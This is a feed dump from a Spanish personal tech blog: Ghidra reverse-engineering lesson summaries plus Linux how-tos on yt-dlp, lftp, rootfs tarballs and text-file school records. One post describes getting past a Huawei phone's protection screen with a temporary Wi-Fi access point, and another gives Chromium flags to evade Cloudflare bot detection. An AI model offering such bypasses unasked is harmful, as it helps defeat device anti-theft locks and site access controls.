<p>Este video es un <strong>tutorial corto (“apéndice”)</strong> donde se muestra el método correcto para crear estructuras asociadas a clases que <strong>ya existen como símbolos RTTI</strong> en Ghidra, sin crear una clase duplicada.</p>
<hr>
<p><strong>El problema original:</strong></p>
<p>Cuando se usa <code>Autocreate Class Structure</code> en Ghidra, se crea una clase con un nombre automático (ej: <code>AutoClass</code>). Al intentar renombrarla al nombre de la clase RTTI original (ej: <code>derived_example_1</code>), Ghidra la rechaza porque ese nombre ya existe como símbolo detectado por RTTI, aunque no tenga estructura asociada. Esto resultaba en dos clases paralelas con el mismo contenido.</p>
-
07ricardo reversing
https://imlauera.github.io/07ricardo_reversing/
Tue, 03 Feb 2026 03:39:41 -0300
https://imlauera.github.io/07ricardo_reversing/
<p>00007C1-yi7fgAjc.es.srt</p>
<p>Este video es una sesión de <strong>limpieza y reorganización de clases/estructuras</strong> en Ghidra después de haber hecho el análisis estático del ejercicio 5. El problema era que durante el análisis se habían creado estructuras con nombres incorrectos (ej: <code>base_1</code>, <code>derived_1</code>, <code>nest_1</code>) que no coincidían con los nombres originales detectados por RTTI (<code>base</code>, <code>derived_example_1</code>, <code>derived_example_2</code>, <code>nest</code>).</p>
<hr>
<p><strong>Export/Import del proyecto:</strong></p>
<p>Se mostró el flujo de exportar un proyecto de Ghidra como archivo <code>.gzf</code> desde una instancia y importarlo en otra. Todo el análisis, renombramientos y estructuras se mantienen íntegros.</p>
-
06ricardo reversing
https://imlauera.github.io/06ricardo_reversing/
Tue, 03 Feb 2026 03:38:50 -0300
https://imlauera.github.io/06ricardo_reversing/
<p>000065QN2yCOVSHM.es.srt</p>
<p>Este video es la <strong>parte 2 del análisis estático del ejercicio 5</strong>, donde se completan las funciones <code>type_stack</code> y <code>type_global</code> después de haber terminado <code>type_pointer</code> en el video anterior.</p>
<hr>
<p><strong>Función <code>type_stack</code>:</strong></p>
<p>Es casi idéntica a <code>type_pointer</code>, pero la estructura <code>derived_example_1</code> no se crea con <code>new</code> sino que se aloca directamente en el <strong>stack</strong> (variable local de 0x20 bytes). Por eso al setear el tipo se eligió <code>derived_example_1</code> <strong>sin asterisco</strong> (no es un puntero, es el objeto completo inline). El flujo es el mismo:</p>
-
05ricardo reversing
https://imlauera.github.io/05ricardo_reversing/
Tue, 03 Feb 2026 03:19:47 -0300
https://imlauera.github.io/05ricardo_reversing/
<p>00005Ui9CvwZqbYM.es.srt</p>
<p>Este video es una guía práctica de <strong>debugging de Ghidra usando dos métodos</strong>: el plugin <strong>RedSync</strong> conectado a <strong>WinDbg</strong>, y el <strong>debugger local</strong> que trae Ghidra 11.4 de forma nativa.</p>
<hr>
<p><strong>Bug de Ghidra 11.4 — extensiones:</strong></p>
<p>La versión 11.4 tiene un bug que deshabilita el botón para instalar plugins/extensiones. El workaround es manual: copiar el zip de la extensión directamente en la carpeta <code>extensions/Ghidra</code> dentro del directorio de instalación, y después descomprimir el contenido en la carpeta <code>%APPDATA%/ghidra/ghidra_11.4/extensions</code>. La sincronización de la descompresión tiene que ocurrir justo cuando Ghidra se reinicia.</p>
-
04ricardo reversing
https://imlauera.github.io/04ricardo_reversing/
Tue, 03 Feb 2026 03:18:22 -0300
https://imlauera.github.io/04ricardo_reversing/
<p>00004zaXvRJBo5qo.es.srt</p>
<p>Este video es una sesión de <strong>dynamic analysis (tracing)</strong> del ejercicio 5 usando el <strong>debugger local de Ghidra</strong>, complementando el análisis estático que se había hecho previamente.</p>
<hr>
<p><strong>Setup inicial:</strong></p>
<p>Se cargó el ejercicio 5 en el debugger local de Ghidra. Se verificó que la <strong>base address</strong> coincidiera entre el binario estático y el proceso en memoria (rebase). Se mapeó el módulo manualmente con <code>Map Module</code> porque al principio el cursor no sincronizaba con el código.</p>
-
03ricardo reversing
https://imlauera.github.io/03ricardo_reversing/
Tue, 03 Feb 2026 03:16:40 -0300
https://imlauera.github.io/03ricardo_reversing/
<p>00003EBjQXRiQI9E.es.srt</p>
<p>Este video es la <strong>parte 1</strong> del ejercicio 6. El enfoque es configurar el proyecto en Ghidra y reconstruir la <strong>estructura <code>MyClass</code></strong> y su <strong>constructor</strong>.</p>
<hr>
<p><strong>Ubicación del <code>main</code>:</strong></p>
<p>Se encontró el <code>main</code> usando el patrón estándar de binarios de consola: buscar <code>GetInitialNamedSecurityDescriptor</code> seguido de las llamadas PRV/PRC, y el <code>call</code> inmediatamente posterior es el <code>main</code>. Se le asignó la firma estándar <code>int main(char** argv, char** envp)</code>.</p>
<hr>
<p><strong>Stack cookie:</strong></p>
<p>Lo primero que hace <code>main</code> es mover un valor de <code>.data</code> al stack y aplicarle un XOR con RCP. Se renotó como <code>global_cookie</code> / <code>cookie</code>.</p>
-
02ricardo reversing
https://imlauera.github.io/02ricardo_reversing/
Tue, 03 Feb 2026 03:13:37 -0300
https://imlauera.github.io/02ricardo_reversing/
<p>0000237zIx1Btibo.es.srt</p>
<p>Este video es la <strong>parte 2</strong> del mismo ejercicio de reverse engineering. El enfoque está en reconstruir los <strong>tres objetos de <code>MyClass</code></strong> y el <strong>método <code>entrada</code></strong> (input del usuario).</p>
<hr>
<p><strong>Objeto <code>MyClass</code> — ubicación en memoria:</strong></p>
<p>Los tres objetos no están en el mismo lugar:</p>
<ul>
<li><code>obj1</code> → <strong>heap</strong> (creado con <code>new</code>)</li>
<li><code>obj2</code> → <strong>stack</strong></li>
<li><code>obj3</code> → <strong>sección <code>.data</code></strong> (objeto estático/global)</li>
</ul>
<hr>
<p><strong>Constructor y copia:</strong></p>
<p>El constructor retorna <code>this</code> en <code>RAX</code>, y ese retorno se asigna a una variable que es esencialmente una copia del puntero (<code>MyClass*</code>). Se renombró como <code>_copy</code> para diferenciarlo del original.</p>
-
01ricardo reversing
https://imlauera.github.io/01ricardo_reversing/
Tue, 03 Feb 2026 03:11:41 -0300
https://imlauera.github.io/01ricardo_reversing/
<p>00001XpgeLtfv-dY.es.srt</p>
<p>Este video es una sesión de <strong>reverse engineering</strong> de un binario compilado en C++ que implementa una clase con tres objetos instanciados.</p>
<p><strong>Estructura analizada:</strong></p>
<p>La clase <code>MyClass</code> tiene campos internos: <code>user</code> (string), <code>password</code> (string), <code>stream2</code> (string), y un <code>flag</code>. Se crean tres objetos (<code>obj1</code>, <code>obj2</code>, <code>obj3</code>) de esa misma clase, cada uno con sus propios valores de <code>user</code> y <code>password</code>.</p>
<p><strong>Operaciones sobre los objetos:</strong></p>
<p>Sobre <code>obj1</code> y <code>obj2</code> se ejecuta una función que modifica el <code>password</code>: le suma la constante <code>5467</code> y luego le suma el <code>size</code> del <code>user</code>. El compilador optimizó esto diferente en cada caso: en <code>obj1</code> llama a las funciones <code>suma_const</code> y <code>suma_size</code>, en <code>obj2</code> inlinea la suma de la constante y solo llama a <code>suma_size</code>. En <code>obj3</code> directamente no ejecuta esa operación.</p>
-
Estenografia
https://imlauera.github.io/estenografia/
Mon, 02 Feb 2026 20:17:41 -0300
https://imlauera.github.io/estenografia/
<p>Short answer: <strong>yes, absolutely</strong> — and Arch is actually a <em>great</em> choice for this.
Long answer: you can do <strong>real stenography on a normal keyboard</strong>, mostly from the terminal, with one small graphical piece (X/Wayland) to capture chords.</p>
<p>Let’s break it down cleanly.</p>
<p><strong>Plover</strong> no instales yay -S plover porque compila,
instala el appimage y vas a tener que instalar fuse2
tambien para que funcione el appimage.</p>
<hr>
<h2 id="1-the-core-tool-plover-opensteno">1️⃣ The core tool: <strong>Plover (OpenSteno)</strong></h2>
<p>Plover is the <strong>real stenography engine</strong> used for court-style steno.
It works with:</p>
-
Enshittification
https://imlauera.github.io/enshittification/
Mon, 02 Feb 2026 20:06:55 -0300
https://imlauera.github.io/enshittification/
<h1 id="enshittification">Enshittification</h1>
<p>La enshittification es un término portmanteau popularizado por el autor y activista canadiense-británico Cory Doctorow en 2022, aunque se documenta en uso en línea desde 2013, para designar la degradación progresiva de plataformas y servicios en línea, donde los diseños iniciales priorizan a los usuarios finales para construir una base de usuarios antes de comenzar a extraer valor de ellos para atraer intermediarios, y finalmente explotar a los propios intermediarios en busca de ganancias a corto plazo, lo que lleva a un declive general y a que los usuarios se vayan.</p>
-
Search youtube videos without invidious
https://imlauera.github.io/scrap_youtube_without_invidious/
Mon, 02 Feb 2026 20:03:49 -0300
https://imlauera.github.io/scrap_youtube_without_invidious/
<p>Invidious esta siendo bloqueado por YouTube fuertemente, solo
nos queda yt-dlp.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>yt-dlp <span style="color:#e6db74">"ytsearch20:linux kernel scheduling"</span>
</span></span></code></pre></div><h4 id="option-a--use-a-public-instance">Option A — Use a public instance</h4>
<p>Search:</p>
<pre tabindex="0"><code>site:searx.space YouTube
</code></pre><p>Then enable <strong>YouTube</strong> in the engine settings.</p>
<p>⚠️ Downside: instances can rate-limit.</p>
<h4 id="option-b--run-your-own-recommended">Option B — Run your own (recommended)</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git clone https://github.com/searxng/searxng
</span></span><span style="display:flex;"><span>cd searxng
</span></span><span style="display:flex;"><span>docker compose up -d
</span></span></code></pre></div><p>Then in <code>settings.yml</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">engines</span>:
</span></span><span style="display:flex;"><span> - <span style="color:#f92672">name</span>: <span style="color:#ae81ff">youtube</span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">engine</span>: <span style="color:#ae81ff">youtube_noapi</span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">enabled</span>: <span style="color:#66d9ef">true</span>
</span></span></code></pre></div><p>This is <strong>exactly what you want</strong>: metadata-only YouTube scraping.</p>
<hr>
<h2 id="2-command-line-scraping-yt-dlp-search-mode-only">2️⃣ Command-line scraping: <strong>yt-dlp (search mode only)</strong></h2>
<p>You probably know yt-dlp for downloading — but it’s also a <strong>search scraper</strong>.</p>
-
KIMI Ai agent
https://imlauera.github.io/ai_agent/
Mon, 02 Feb 2026 01:29:37 -0300
https://imlauera.github.io/ai_agent/
<p><strong>Kimi Agent</strong> es el sistema de agentes de IA integrado en <strong>Kimi K2.5</strong>, el modelo de inteligencia artificial desarrollado por <strong>Moonshot AI</strong> (月之暗面, una de las startups de IA más importantes de China). Se trata de una tecnología de código abierto diseñada para ejecutar tareas complejas de forma autónoma, no solo responder preguntas.</p>
<h2 id="qué-es-exactamente">¿Qué es exactamente?</h2>
<p>Es un sistema “agentico” (agentic) que puede:</p>
<ul>
<li><strong>Planificar y ejecutar tareas complejas</strong> de múltiples pasos (hasta 1,500 pasos seguidos)</li>
<li><strong>Trabajar con texto, imágenes y video</strong> de forma nativa (multimodal)</li>
<li><strong>Coordinar hasta 100 sub-agentes simultáneamente</strong> mediante la función <strong>“Agent Swarm”</strong> (enjambre de agentes), donde cada uno trabaja en paralelo en diferentes partes de una tarea compleja</li>
<li><strong>Generar código a partir de diseños visuales</strong>: Puede ver una imagen o video de una interfaz web y reproducir el código exacto, incluyendo animaciones y layouts</li>
</ul>
<h2 id="para-qué-sirve">¿Para qué sirve?</h2>
<h3 id="1-automatización-de-investigación-y-análisis">1. <strong>Automatización de investigación y análisis</strong></h3>
<p>Realiza investigaciones profundas (“deep research”) buscando información en múltiples fuentes web, analizando datos y generando informes completos. En modo “swarm”, puede investigar 100 temas diferentes simultáneamente y reducir el tiempo de ejecución hasta <strong>4.5 veces</strong> comparado con un agente individual.</p>
-
How to top watching influencers
https://imlauera.github.io/stop_watching_influencers/
Thu, 29 Jan 2026 03:27:36 -0300
https://imlauera.github.io/stop_watching_influencers/
<p>Guardá esto en un archivo llamado <code>stop_influencers.sh</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>yt-dlp --ignore-config --write-subs --write-auto-sub --sub-lang en --sub-format <span style="color:#e6db74">"srt"</span> --skip-download $1 <span style="color:#f92672">&&</span>
</span></span><span style="display:flex;"><span>id<span style="color:#f92672">=</span><span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>1#*=<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"id: </span>$id<span style="color:#e6db74">"</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>sed -E <span style="color:#e6db74">'/^[0-9]+$|^$/d; /^[0-9]{2}:/d'</span> *$id*.srt > <span style="color:#e6db74">"sub_</span>$id<span style="color:#e6db74">.txt"</span> <span style="color:#f92672">&&</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>aichat <span style="color:#e6db74">"Me lo podes explicar en español? </span><span style="color:#66d9ef">$(</span>cat sub_$id.txt<span style="color:#66d9ef">)</span><span style="color:#e6db74">"</span> > /tmp/aichat.md <span style="color:#f92672">&&</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>cmark /tmp/aichat.md | w3m -T text/html
</span></span></code></pre></div><p>Ahora desde el newsboat</p>
<p>Agrega las URLS (si queres algunas las que yo miro estan en
imlauer.github.io control+f just_tty ) y ejecuta newsboat
selecciona el video que te gusta dale O y luego agrega
<code>stop_influencers.sh</code> como navegador externo.</p>
-
Linux from scratch
https://imlauera.github.io/linuxfromscratch/
Tue, 27 Jan 2026 19:25:07 -0300
https://imlauera.github.io/linuxfromscratch/
<p>Scripts de Luis Mendes</p>
<h1 id="lfs-scripts-penguin">lfs-scripts :penguin:</h1>
<p>Instructions and scripts to build Linux From Scratch (LFS), version 11.2, as simply as possible (I know, not that simple, but anyway).</p>
<p><img src="https://github.com/luisgbm/lfs-scripts/blob/master/img/uname.png?raw=true" alt="Output of uname -a"></p>
<p><img src="https://github.com/luisgbm/lfs-scripts/blob/master/img/vim-smile.png?raw=true" alt="vim :smile"></p>
<h1 id="foreword">Foreword</h1>
<p>First, this guide does not replace reading the whole LFS book. I highly recommend that you read it at least once. Only then you should use the automated scripts provided here.</p>
<p>This build will be accomplished inside a virtual machine. I’ll be using Oracle VirtualBox, but you can use any tool of your personal preference. I’m running an Arch Linux VM, feel free to use your GNU/Linux distribution of choice. Just be sure to install the development tools available (base-devel package on Arch).</p>
-
Copiar sin sobreescrbir
https://imlauera.github.io/copiar_sin_sobreescrbir/
Wed, 21 Jan 2026 16:55:43 -0300
https://imlauera.github.io/copiar_sin_sobreescrbir/
<h2 id="compare-duplicate-filenames-across-directories">Compare duplicate filenames across directories.</h2>
<p><strong>Score: 96</strong></p>
<p>You can do this safely from Bash without overwriting anything. Here are the <strong>cleanest and most reliable ways</strong> on Arch Linux.</p>
<hr>
<h2 id="1-just-check-if-filenames-collide-no-paths">1️⃣ Just check if filenames collide (no paths)</h2>
<p>This tells you <strong>which filenames exist in both directories</strong>, regardless of subdirectories.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>comm -12 <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> <<span style="color:#f92672">(</span>find dir1 -type f -printf <span style="color:#e6db74">'%f\n'</span> | sort<span style="color:#f92672">)</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> <<span style="color:#f92672">(</span>find dir2 -type f -printf <span style="color:#e6db74">'%f\n'</span> | sort<span style="color:#f92672">)</span>
</span></span></code></pre></div><p>🔹 Output = filenames that appear in <strong>both</strong> directories
🔹 Safe, read-only
🔹 Ignores file content (only names)</p>
-
Lftp
https://imlauera.github.io/lftp/
Wed, 21 Jan 2026 11:46:15 -0300
https://imlauera.github.io/lftp/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo pacman -S lftp
</span></span><span style="display:flex;"><span>lftp -u imlauer,password w10.host -e <span style="color:#e6db74">"set ftp:passive-mode on; set net:timeout 20; set net:max-retries 2; set net:reconnect-interval-base 5; set ftp:ssl-allow no; mirror --reverse --verbose /home/esotericwarfare/projects/imlauer.w10.site/ . --parallel=10 ; quit"</span>
</span></span></code></pre></div>
-
Instalar GNU/Linux distros con Tarball
https://imlauera.github.io/instalar_distros_con_tarball/
Tue, 06 Jan 2026 11:38:56 -0300
https://imlauera.github.io/instalar_distros_con_tarball/
<p>Anteriormente demostre como instalar Kiss Linux usando kiss-chroot.tar.xz , ahora intentare instalar debian.</p>
<p>¡Sí! Varias distros tienen algo equivalente a ese tarball “chroot-ready”. Déjame mostrarte:</p>
<h2 id="distros-con-tarballs-chroot-oficiales">Distros con tarballs chroot oficiales:</h2>
<h3 id="1-alpine-linux-el-más-similar-a-kiss">1. <strong>Alpine Linux</strong> (el más similar a KISS)</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Minirootfs - equivalente exacto</span>
</span></span><span style="display:flex;"><span>wget https://dl-cdn.alpinelinux.org/alpine/v3.19/releases/x86_64/alpine-minirootfs-3.19.0-x86_64.tar.gz
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Extraer y usar</span>
</span></span><span style="display:flex;"><span>tar xzf alpine-minirootfs-*.tar.gz -C /mnt
</span></span></code></pre></div><h3 id="2-void-linux">2. <strong>Void Linux</strong></h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># ROOTFS oficial</span>
</span></span><span style="display:flex;"><span>wget https://repo-default.voidlinux.org/live/current/void-x86_64-ROOTFS-20240314.tar.xz
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Musl version (como KISS)</span>
</span></span><span style="display:flex;"><span>wget https://repo-default.voidlinux.org/live/current/void-x86_64-musl-ROOTFS-20240314.tar.xz
</span></span></code></pre></div><h3 id="3-gentoo">3. <strong>Gentoo</strong></h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Stage3 - el clásico</span>
</span></span><span style="display:flex;"><span>wget https://distfiles.gentoo.org/releases/amd64/autobuilds/current-stage3-amd64/stage3-amd64-20240101T170204Z.tar.xz
</span></span></code></pre></div><h3 id="4-arch-linux-no-oficial-pero-existe">4. <strong>Arch Linux</strong> (no oficial pero existe)</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># archlinux-bootstrap (oficial)</span>
</span></span><span style="display:flex;"><span>wget https://geo.mirror.pkgbuild.com/iso/latest/archlinux-bootstrap-x86_64.tar.zst
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Extraer</span>
</span></span><span style="display:flex;"><span>tar xf archlinux-bootstrap-x86_64.tar.zst
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Crea un directorio root.x86_64/ con sistema base</span>
</span></span></code></pre></div><h3 id="5-fedoracentos">5. <strong>Fedora/CentOS</strong></h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Usando docker images</span>
</span></span><span style="display:flex;"><span>docker export <span style="color:#66d9ef">$(</span>docker create fedora:39<span style="color:#66d9ef">)</span> > fedora-rootfs.tar
</span></span></code></pre></div><h3 id="6-debian-no-oficial">6. <strong>Debian</strong> (no oficial)</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Docker base images</span>
</span></span><span style="display:flex;"><span>wget https://github.com/debuerreotype/docker-debian-artifacts/raw/dist-amd64/bookworm/rootfs.tar.xz
</span></span></code></pre></div><h3 id="7-artix-linux-arch-sin-systemd">7. <strong>Artix Linux</strong> (Arch sin systemd)</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Tiene tarballs como Arch</span>
</span></span><span style="display:flex;"><span>wget https://iso.artixlinux.org/iso/artix-base-runit-20231119-x86_64.tar.gz
</span></span></code></pre></div><h2 id="comparación-de-formato">Comparación de formato:</h2>
<table>
<thead>
<tr>
<th>Distro</th>
<th>Nombre del tarball</th>
<th>Tamaño aprox</th>
</tr>
</thead>
<tbody>
<tr>
<td>KISS</td>
<td>kiss-chroot-*.tar.xz</td>
<td>~5-10MB</td>
</tr>
<tr>
<td>Alpine</td>
<td>alpine-minirootfs-*.tar.gz</td>
<td>~3-5MB</td>
</tr>
<tr>
<td>Void</td>
<td>void-<em>-ROOTFS-</em>.tar.xz</td>
<td>~50-100MB</td>
</tr>
<tr>
<td>Gentoo</td>
<td>stage3-*.tar.xz</td>
<td>~200-300MB</td>
</tr>
<tr>
<td>Arch</td>
<td>archlinux-bootstrap-*.tar.zst</td>
<td>~150-200MB</td>
</tr>
</tbody>
</table>
<h2 id="el-más-parecido-a-kiss">El más parecido a KISS:</h2>
<p><strong>Alpine Linux</strong> es prácticamente idéntico en filosofía:</p>
-
Access Point Wifi ArchLinux
https://imlauera.github.io/accesspoint_wifi/
Sun, 04 Jan 2026 15:44:59 -0300
https://imlauera.github.io/accesspoint_wifi/
<p>Use esto para saltear una proteccion de celular HUAWEI FIG-LX3. Configure un access point me conecte desde el celular y cuando le di Next corte el access point y me dejo pasar el filtro</p>
<p>Usa la aplicacion create_ap del AUR o hacelo manualmente asi:</p>
<p><code>create_ap</code> es mucho más simple de usar. Te automatiza todo el proceso.</p>
<h2 id="instalación">Instalación</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>yay -S create_ap
</span></span><span style="display:flex;"><span><span style="color:#75715e"># o</span>
</span></span><span style="display:flex;"><span>paru -S create_ap
</span></span></code></pre></div><p>También necesitas las dependencias:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo pacman -S hostapd dnsmasq
</span></span></code></pre></div><h2 id="uso-básico">Uso básico</h2>
<p><strong>Compartir WiFi a través de WiFi:</strong></p>
-
Chromium headless w3m
https://imlauera.github.io/chromium_headless_w3m/
Wed, 31 Dec 2025 13:45:04 -0300
https://imlauera.github.io/chromium_headless_w3m/
<p>Intentamos renderizar upwork.com con headless chromium, a ver donde nos lleva
Como siempre Cloudflare arruinando Internet y bloqueando todo.</p>
<p>The issue you’re facing is that Cloudflare is detecting your headless browser and blocking it. Here are several solutions:</p>
<h2 id="quick-fixes">Quick Fixes</h2>
<p><strong>1. Add user agent and disable headless detection:</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>chromium --headless<span style="color:#f92672">=</span>new --user-data-dir<span style="color:#f92672">=</span>$HOME/.config/chromium-headless --disable-gpu --disable-blink-features<span style="color:#f92672">=</span>AutomationControlled --user-agent<span style="color:#f92672">=</span><span style="color:#e6db74">"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"</span> --dump-dom --virtual-time-budget<span style="color:#f92672">=</span><span style="color:#ae81ff">10000</span> <span style="color:#e6db74">"</span>$1<span style="color:#e6db74">"</span> | sed <span style="color:#e6db74">"s|<head>|<head><base href=</span>$1<span style="color:#e6db74">>|g"</span> | w3m -T text/html
</span></span></code></pre></div><p>Key changes:</p>
-
Gestion escolar
https://imlauera.github.io/gestion_escolar/
Wed, 31 Dec 2025 08:18:08 -0300
https://imlauera.github.io/gestion_escolar/
<p>Los sistemas de seguimiento escolar son bloat, podes directamente usar un archivo de texto para guardar absolutamente todo y hacer un seguimiento escolar. Aprende a usar vim, grep y otras herramientas de unix para buscar informacion en ese archivo de texto, cada año crea otro archivo y listo.</p>
<h1 id="chatgpt">ChatGPT</h1>
<p>Archivo TSV (separado por tabs).</p>
<pre tabindex="0"><code># ESCUELA-GESTION-ANUAL.tsv
# FORMATO UNICO / APEND-ONLY / BUSCABLE CON GREP-AWK-SED
# SEPARADOR: TAB (\t)
# CONVENCIONES:
# - campo[0] = TIPO_REGISTRO
# - campo[1] = ID_UNICO
# - resto = CLAVE=VALOR
# - TEXTO SIN ESPACIOS (usar _)
# - FECHAS ISO-8601
# - NUNCA SE EDITA, SOLO SE AGREGA
################################################################################
# PERSONAS
################################################################################
PERSONA P0001 TIPO=ALUMNO DNI=45123456 APELLIDO=Gomez NOMBRE=Juan SEXO=M FECHA_NAC=2012-05-14 NACIONALIDAD=AR DOMICILIO=Av_Siempreviva_123 TELEFONO=1144455566 EMAIL=NA ESTADO=ACTIVO
PERSONA P0002 TIPO=ALUMNO DNI=43999888 APELLIDO=Perez NOMBRE=Maria SEXO=F FECHA_NAC=2011-11-02 NACIONALIDAD=AR DOMICILIO=Calle_Falsa_456 TELEFONO=1133322211 EMAIL=NA ESTADO=ACTIVO
PERSONA P0003 TIPO=DOCENTE DNI=22333444 APELLIDO=Lopez NOMBRE=Ana SEXO=F FECHA_NAC=1980-03-22 TELEFONO=1122233344 [email protected] ESTADO=ACTIVO
PERSONA P0004 TIPO=PRECEPTOR DNI=20111222 APELLIDO=Martinez NOMBRE=Carlos SEXO=M FECHA_NAC=1978-08-10 TELEFONO=1199988877 [email protected] ESTADO=ACTIVO
################################################################################
# CURSOS / DIVISIONES / CICLOS
################################################################################
CICLO CIC2025 ANIO=2025 NIVEL=Secundario ESTADO=ACTIVO
CURSO CUR001 CICLO=CIC2025 NOMBRE=2A TURNO=MAÑANA AULA=12 ORIENTACION=Comun
CURSO CUR002 CICLO=CIC2025 NOMBRE=3B TURNO=TARDE AULA=7 ORIENTACION=Comun
################################################################################
# INSCRIPCIONES
################################################################################
INSCRIPCION I0001 ALUMNO=P0001 CURSO=CUR001 FECHA_ALTA=2025-03-01 CONDICION=REGULAR
INSCRIPCION I0002 ALUMNO=P0002 CURSO=CUR002 FECHA_ALTA=2025-03-01 CONDICION=REGULAR
################################################################################
# MATERIAS / ESPACIOS CURRICULARES
################################################################################
MATERIA MAT001 NOMBRE=Matematica AREA=Ciencias_Exactas CARGA_HORARIA=4
MATERIA MAT002 NOMBRE=Lengua AREA=Lengua_y_Literatura CARGA_HORARIA=4
################################################################################
# DESIGNACIONES DOCENTES
################################################################################
CATEDRA CAT0001 MATERIA=MAT001 CURSO=CUR001 DOCENTE=P0003 FECHA_DESDE=2025-03-01 FECHA_HASTA=2025-12-10
CATEDRA CAT0002 MATERIA=MAT002 CURSO=CUR002 DOCENTE=P0003 FECHA_DESDE=2025-03-01 FECHA_HASTA=2025-12-10
################################################################################
# TUTORES / RESPONSABLES
################################################################################
RESPONSABLE R0001 ALUMNO=P0001 DNI=30111222 APELLIDO=Gomez NOMBRE=Laura VINCULO=Madre TELEFONO=1133344455 EMAIL=NA
RESPONSABLE R0002 ALUMNO=P0002 DNI=28999888 APELLIDO=Perez NOMBRE=Jose VINCULO=Padre TELEFONO=1144455566 EMAIL=NA
################################################################################
# ASISTENCIAS ALUMNOS
################################################################################
ASISTENCIA_ALUMNO AA000001 FECHA=2025-03-01 ALUMNO=P0001 CURSO=CUR001 ESTADO=PRESENTE JUSTIFICACION=NA
ASISTENCIA_ALUMNO AA000002 FECHA=2025-03-01 ALUMNO=P0002 CURSO=CUR002 ESTADO=AUSENTE JUSTIFICACION=NO
################################################################################
# ASISTENCIAS PERSONAL
################################################################################
ASISTENCIA_PERSONAL AP000001 FECHA=2025-03-01 PERSONA=P0003 ROL=DOCENTE ESTADO=PRESENTE
